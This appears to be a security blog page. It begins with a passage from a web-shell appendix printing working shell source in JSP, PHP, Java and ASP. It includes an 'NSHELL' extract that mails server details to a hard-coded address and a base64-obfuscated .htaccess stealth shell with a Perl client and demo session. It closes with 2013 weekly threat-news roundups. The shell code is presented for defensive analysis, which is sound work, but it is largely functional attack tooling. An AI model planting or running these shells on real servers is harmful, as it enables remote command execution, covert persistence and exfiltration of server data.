String cmd = request.getParameter("cmd"); 
String OS = System.GetProperty("os.name"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command 
{ 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
} 
else { 
Process p = Runtime.getRuntime().exec(cmd); 
} 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
} 
} 
catch(IOException e) {e.printStackTrace();} 
} 
%> 
<strong>Current working directory is:<br></strong> 
<pre> 
<%= getServletContext().getRealPath("/") %> 
</pre><br> 
<pre> 
<%=output %> 
</pre> 
<!-- grabbed from http://michaeldaw.org modified for windows and linux by Joseph Giron --> 
</html>

NSHELL Extract:

$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); 
function ecmd() 
{ 
echo "<FORM name=injection METHOD=POST ACTION=".$_SERVER['REQUEST_URI'].">"; 
echo "Command : <INPUT TYPE=text NAME=cmd value=".@stripslashes(htmlentities($_POST['cmd']))."><br> <INPUT TYPE=submit></FORM><hr color=777777 width=100% height=115px></font><pre>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
$cmd = @$_POST['cmd']; 
if (isset($chdir)) @chdir($chdir); 
ob_start(); 
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); 
$output = ob_get_contents(); 
ob_end_clean(); 
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); 
exit(); 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
echo "</pre>";

PHP Shell Sample:

if ( @is_readable("$dir/$file") ) 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; 
else 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; 
/* <!-- Actions --> */ 
echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; 
/* <!-- Rename --> */ 
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; 
/* <!-- Edit --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; 
/* <!-- Copy --> */ 
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; 
/* <!-- Move --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; 
/* <!-- Delete --> */ 
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; 
/* <!-- Download --> */ 
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; 
/* <!-- Execute --> */ 
if ( @is_executable("$dir/$file") ) 
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; 
/* <!-- End of Actions --> */

PHP WebShell by Digital Outcast (Partial)

//This function sends the appropriate headers to handle the image (This is just GIF images easily modifiable 
if (isset($_GET['img'])) 
{ 
header("Content-type: image/gif"); 
echo base64_decode($images[$_GET['img']]); 
die(); 
} 
//Sets the directory to the directory specified 
if (isset($_GET['dir'])) 
{ 
$current_dir = realpath($_GET['dir'])."/"; 
} 
else 
{ 
$current_dir = './'; 
} 
//Run a CLI command if one has been sent 
if (isset($_POST['CLICommand'])) 
{ 
echo "<pre>"; 
echo "<b>Output From Command: </b><br />"; 
echo "<textarea cols='120' rows='25'>"; 
passthru($_POST['CLICommand']); 
echo "</textarea>"; 
echo "</pre>"; 
die(); 
} 
//set the current_dir url 
if (($current_dir == './') && (!isset($_COOKIE['dshell']))) 
{ 
$surl = $_SERVER['REQUEST_URI']; 
setcookie('dshell',$surl,time()+99999); 
} 
elseif (!isset($_COOKIE['dshell'])) 
die('Error Could Not load the default path'); 
else 
$surl = $_COOKIE['dshell'];

Java WebShell 

public String exeCmd(String cmd) { 
Runtime runtime = Runtime.getRuntime(); 
Process proc = null; 
String retStr = ""; 
InputStreamReader insReader = null; 
char[] tmpBuffer = new char[1024]; 
int nRet = 0; 
try { 
proc = runtime.exec(cmd); 
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); 
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { 
retStr += new String(tmpBuffer, 0, nRet); 
} 
insReader.close(); 
retStr = HTMLEncode(retStr); 
} catch (Exception e) { 
retStr = "<font color=\"red\">ÃüÁî´íÎó\"" + cmd + "\""; 
} finally { 
return retStr; 
} 
}

ASP Web Shell targeting IIS 5.1 
<% 
' ASP Cmd Shell On IIS 5.1 
' brett.moore_at_security-assessment.com 
Dim oS,oSNet,oFSys, oF,szCMD, szTF 
On Error Resume Next 
Set oS = Server.CreateObject("WSCRIPT.SHELL") 
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFSys = Server.CreateObject("Scripting.FileSystemObject") 
szCMD = Request.Form("C") 
If (szCMD <> "") Then 
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName() 
' Here we do the command 
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF & 
"""",0,True) 
response.write szTF 
' Change perms 
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G 
everyone:F",0,True) 
Set oF = oFSys.OpenTextFile(szTF,1,False,0) 
End If 
%> 
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name="C" size=70 value="<%= szCMD %>"> 
<input type=submit value="Run"></FORM><PRE> 
Machine: <%=oSNet.ComputerName%><BR> 
Username: <%=oSNet.UserName%><br> 
<% 
If (IsObject(oF)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oF.ReadAll) 
oF.Close 
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True) 
End If 
%>
<!-- http://michaeldaw.org 2006 --> 

Appendix 2: A Lesson in Obfuscation - Stealth Web Shell 

This scenario of a stealth web shell presents the most likely use of web shells as a weapon and the most challenging to detect and defend against of those reviewed. This specific implementation of a web shell is obfuscated through us of a hidden file (.filename, .htaccess, or even index.php), external payload (outside the URI), hidden URL, IDS evasion by using base64 encoding, however some tell-tale signs are still present (bolded for emphasis).


Sample .htaccess Code: 

01 # Self contained .htaccess stealth web shell - Part of the htshell project 
02 # Written by Wireghoul - http://www.justanotherhacker.com 
03 
04 # Override default deny rule to make .htaccess file accessible over web 
05 <files ~="" "^\.ht"=""> 
06 Order allow,deny 
07 Allow from all 
08 </files> 
09 
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
11 # the apache directoves from the .htaccess file 
12 AddType application/x-httpd-php .htaccess 
13 
14 # Enable output buffering so we can fudge content length in logs 
15 php_value output_buffering 1 
16 
17 # Rewrite supposed url to the .htaccess file if X-ETAG request header is set 
18 RewriteEngine on 
19 RewriteCond %{HTTP:X-ETAG} !^$ 
20 RewriteRule .* .htaccess [L] 
21 
22 # SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc');$e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush();exit(); ?> 
Sample Perl Code: 
01 #!/usr/bin/perl 
02 # Interface for the mod_php htaccess stealth shell 
03 # Written by Wireghoul - http://www.justanotherhacker.com 
04 
05 use warnings; 
06 use strict; 
07 use MIME::Base64; 
08 use LWP::UserAgent; 
09 
10 &usage unless $ARGV[0]; 
11 my $url = $ARGV[0]; 
12 pop(@ARGV); #keep readline happy 
13 my $ua = LWP::UserAgent->new; 
14 $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16'); 
15 
16 sub usage { 
17 print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n"; 
18 exit 2; 
19 } 
20 
21 my $cmd = ''; 
22 print "Connecting to shell at $url - type 'exit' to exit"; 
23 until ($cmd eq 'exit') { 
24 print "\nshell> "; 
25 $cmd = readline; 
26 chomp $cmd; 
27 my $payload = 'AA'.encode_base64($cmd); 
28 my $response = $ua->get( $url, 'X-ETAG' => $payload); 
29 if ($response->header('X-ETAG')) { 
30 print decode_base64(substr($response->header('X-ETAG'),2)); 
31 } else { 
32 print "Error! No payload in response!\n"; 
33 } 
34 } 
Demo: 
01 # GET http://localhost/favicon.ico | head -1 
02 ________________________________________ 
03 h6 ?@@(F( 
05 Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit 
06 shell> uname -a 
07 Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux 
08 shell> id 
09 uid=33(www-data) gid=33(www-data) groups=33(www-data) 
10 shell> exit 
11 # tail -3 /var/log/apache2/access.log 
12 127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 
13 127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 
14 127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 

References 

Malicious Shells: 
hxxp://files.xakep.biz/shells/CGI/WebShell.cgi.txt 
hxxp://files.xakep.biz/shells/PHP/c99php.txt 
hxxp://files.xakep.biz/shells/CGI/go-shell.cgi.txt 
hxxp://files.xakep.biz/shells/PHP/Ajax_PHP%20Command%20Shell.php.txt 
hxxp://files.xakep.biz/shells/PHP/webshell.php.txt 

hxxp://files.xakep.biz/shells/JSP/JspWebshell%201.2.jsp.txt 

Wednesday, March 20, 2013

Weekly Threat Trends March 11-18 2013



Vulnerabilities, Tools, and Tactics

Android app developer licenses being sold in malware black market for $100 each, providing buyers “unfettered access to the official Google Play app store.” At least one purchase, accredited to a banking Trojan author has been leaked. http://t.co/o7nAiecghy

Malware authors using fictitious business created legally in Brazil to generate application certificates, using them to sign malware to evade detection. http://t.co/U1gBpwXI5a

According to a report by Websense, 85% of websites used in attacks during 2012 were “legitimate sites.”

Related: Israeli website for “international institute for counter-terrorism used in wateringhole attack to deliver malware. http://bit.ly/X4TZ1p

Seagate blog website used to serve malware http://bit.ly/ZsiEii

Fake Bank of America Online Digital Certificate themed emails used in phishing attack. http://bit.ly/WkYSGc

Travnet Trojan implicated in APT campaign http://bit.ly/10WKoei

Blackhole, Sweet Orange, and Cool exploit kits named top weapons for cyber crooks http://bit.ly/10WJRyi

ArchiveLock Trojan used in France and Spain targeted attacks to encrypt the files of users, demanding $5,000 ransom http://bit.ly/100CZ07

Adversary Activity & Campaigns

Decoy ICS/SCADA Water Utility Networks hit by attacks http://ubm.io/ZOplV1

Warning of vulnerabilities among California energy providers http://bit.ly/XiuzNK

US Department of State and Pentagon’s Army National Guard websites hacked through SQL injection and XSS scripting attacks by Tunisian Cyber Army with assistance from Al Qaida Electronic Army. Purpose appears to be to gain information for upcoming OpBlackSummer, which the attackers claim us being coordinated with Chinese hackers. http://t.co/Axd3ylFYQc

APT1 Watch: Royal Bank of Australia (RBA), documents released in 2012 acknowledge victim status of at least two breaches in 2011 with close connections to APT1. http://t.co/YtN2Z0KI6k

ADP Package Delivery Notification phishing attack directs victims to Blackhole Exploit Kit websites http://bit.ly/ZOqnFZZ

Cyber Attack heads-up: campaign announced to “wipe Israel from the Internet on April 7, 2013.

Bank watch: JP Morgan Chase website taken down through denial-of-service http://cnet.co/ZM57UH

US NIST National Vulnerability Database hacked and taken offline for days http://bit.ly/16umBld

Continued in reports of hacktivism

42 Russian websites hacked by SiR Abdou  http://t.co/5K2OzhXvd4

Celebrity financial information and social security numbers leaked following hack of free credit report provider http://bit.ly/15KAbpl

OpBlackSummer: US Govnerment sites hacked http://bit.ly/Z1DmWJ - Possible preparation for larger event

Toshiba Turkey Website defaced by reMin hacker http://bit.ly/Z1DiWZ

Anonymous takes down political party website in Italy http://bit.ly/Z1E2vw

Indian Hacker “Godzilla” infiltrates Pakistan government websites and leaks information http://bit.ly/YkHykr

Service Center Website of Acer Thailand defaced by Turkish hacker http://bit.ly/YtNynP

Anonymous attacks Philippines President and related government websites http://bit.ly/YtNNzu

Poland Sergianist hackers destroy popular Traditionalist website http://bit.ly/Zsiojc

Syrian Cyber Eagles defaces Saudi General Authority for Tourism and Antiquities website http://bit.ly/Zkfmyi

Anonymous defaces Philippines National Telecommunications Commission website http://bit.ly/Z97Wuu

152 Spanish websites hacked in protest against the deaths of 7 Moroccan immigrants http://bit.ly/107uw1z    

Defense and Response News

Pentagon creating new teams to launch cyberattacks http://wapo.st/Y9GNbC

UK develops global cyber security capacity, supported by the ICSPA http://bit.ly/;Z1DVQo

HBGary releases virtual classroom for incident response professional http://bit.ly/Zsibwp

Cyber-attacks eclipse terrorism in impact according to US leaders http://bit.ly/15SWHwx


Friday, March 15, 2013

Weekly Threat Trends March 3-11 2013


Vulnerabilities, Tools, and Tactics


Rogue Apache modules appear to be the source of a surge in iFrame injection attacks targeting legitimate websites like those used in the NBC.com compromise, to drive traffic to the Blackhole exploit kit. How the rogue modules are being injected is still unknown: http://t.co/29C1kXMLmA

Malicious Java applet uses certificate stolen from Clearesult Consulting to exploit trust and install automatically: http://www.net-security.org/secworld.php?id=14557

A report released from Cenzic claims 99% of web applications remain vulnerable to attacks, calling for increased emphasis on mitigation: http://www.net-security.org/secworld.php?id=14556

Free malicious Java applet generating tool discovered in the wild. The tool can clone a legitimate website, creates a malicious java applet, then redirect victims to a site of the attackers choice: http://t.co/4oDZsDdAL5

Web browser proxy auto-configuration tactic used in recent banking campaigns in Brazil to capture and redirect certain user traffic, expected to increase in use globally. http://t.co/V1s2TB2lCL

Example of Android mobile malware commoditization found in an ad for the tool “perkele lite,” used to intercept and forward SMS messages. http://t.co/10o3vJmrXj

Adversary Activity & Campaigns


Bank DDoS attacks resume: Izz ad-Din al-Qassam, believed to be directly supported by the Iranian government, announced and began execution of a new phase of attacks targeting US banks. http://t.co/E1UVVqamX0 , http://t.co/3oGt2BKE6A

Emerging phishing campaigns, exploiting payroll and banking trustADP TotalSource Payroll Invoice: http://t.co/5n8QilMqqM Bank of America: http://t.co/YlRBbncKJS

Targeted attack against Australia’s central bank, Reserve Bank of Australia (RBA) succeeded in compromising at least one system. Target of the attack was information which included Group of 20 negotiations. China is implicated. http://t.co/iHxZwwwp0W

Kaspersky discovers AlbaBotnet being used to target Chilean banks in an emerging campaign. http://www.securitybistro.com/blog/?p=5524

APT-1: Industry reporting attribution of past campaigns to APT-1, including US, Japan, and India victims, thanks to indicators from Mandiant’s report. One example: http://threatpost.com/en_us/blogs/apt1-themed-spear-phishing-campaign-linked-china-030613 , http://t.co/iQ4DrbJkn0 ,



Surge in reports of hacktivism

Czech central bank, stock exchange, banks hacked: http://t.co/WCA5c3yodYNullcrew defaces Time Warner Cable: http://t.co/yPJ4aK2e1TArabian Gulf Oil Company (Agoco) by QuisterTow: http://t.co/bDCrpnRKQBSaudi Aramco Twitter account hacked: http://t.co/RmQxB532aa54 Israeli sites hacked and defaced: http://t.co/YySGtJhf0GOver 180 Egypt sites hacked by P@khTuN: http://t.co/SJkUTcjq3u


Defense and Response News


China, in response to Mandiant and related APT-1 claims, begins a response campaign claiming they are the victim of repeated US sourced intrusions, calls for new international agreements on cyber: http://t.co/HO1NvvvZ6l , http://t.co/YmGGkZI2QW

Deutsche Telekom unveils real-time map of global cyber-attacks detected on their global infrastructure: http://t.co/We0TJJ6YOk

Microsoft launches new Cybercrime Center to combat piracy and malware: http://t.co/wllk2eJ0cw

New cyber security, forensics center formed by UMASS to advance research on cyber security and forensics theory: http://www.uml.edu/News/stories/2013/Cyber-forensics-center.aspx

Prolexic successfully defends against large scale DDoS against utility: http://t.co/yg6iU0Sx7g

Monday, March 4, 2013

Weekly Open Source Threat Report - 2/26/2013 - 3/3/2013


Vulnerabilities, Tools, and Tactics

MiniDuke malware discovered by Kaspersky and CrySys, has infected government computers from numerous nations. The malware was delivered through PDFs containing exploits written for Adobe Reader versions 9, 10, and 11. Researchers have not revealed the nature or mission of the malware yet. http://www.esecurityplanet.com/network-security/kaspersky-crysys-warn-of-miniduke-malware.html

Multiple Java 0-Days released last week with ties to Bit9 hack from the previous week. Articles from FireEye reference the malware as McRAT. http://www.infoworld.com/d/security/researchers-link-latest-java-zero-day-exploit-bit9-hack-213798


Adversary Activity & Campaigns

Chinese attackers from Mandiant’s APT1 targeted 23 US energy infrastructure companies during a 2011-2012 campaign, exfiltrating data which would allow them to access and control oil and natural gas industrial-control systems. http://www.ibtimes.co.uk/articles/441095/20130301/energy-infrastructure-targeted-chinese-hackers.htm.

Anonymous gained access to and published email communications between a contractor and Bank of America security staff exposing a monitoring program intended to keep tabs on the hacktivist group. The “hack” wasn’t a breach of BofA systems as Anonymous reported the server they obtained the emails from was open to external access and controlled by the security researcher.

Evernote hacked, data on 50 million users exposed including usernames and passwords. Change your password now!

Crescent healthcare confirms breach of patient records and social security numbers. Breach occurred on December 28, 2012, however Crescent will not release information on how it happened. http://www.esecurityplanet.com/network-security/crescent-healthcare-acknowledges-security-breach.html

Sabah land dispute conflict transitions from physical to cyber as forces from Malaysia and the Philippines target each other’s government websites. http://www.zdnet.com/ph/hackers-take-sabah-conflict-to-cyberspace-7000012061/

Team Cymru uncovers a state-controlled cyber campaign leaking 1 Terabyte of data every day from US based systems to foreign countries. Report is currently private, details to follow. http://www.theverge.com/2013/2/27/4035378/new-report-finds-hackers-stealing-terabyte-daily

Defense and Response News

Offensive security group CrowdStrike takes over and shuts down the Kelihos botnet with 110,000 infected nodes. CrowdStrike used a DNS injection attack to redirect the command and control channels used by infected systems, notified all the victims, and shut down the botnet in an offensive campaign. http://www.scmagazine.com/new-version-of-kelihos-botnet-with-110k-nodes-cut-down/article/234036/

Increased calls from public for improved collaboration between government, private, and public cyber security organizations to defend against adversaries like Mandiant’s APT1.

IDF defines Cyber Warfare as the 5th realm of warfare and established Cyber Command, bridging forces from the Intelligence and Teleprocessing branches. http://www.haaretz.com/news/diplomacy-defense/idf-forms-new-force-to-combat-cyber-warfare.premium-1.506979?block=true

Australia joins the Council of Europe Convention on Cybercrime following the passing of the Cybercrime Legislation Amendment Bill 2011. Among other empowerments, the legislation requires ISPs to store data on persons deemed under suspicion by law-enforcement. http://www.zdnet.com/australia-joins-convention-on-cybercrime-treaty-7000012071/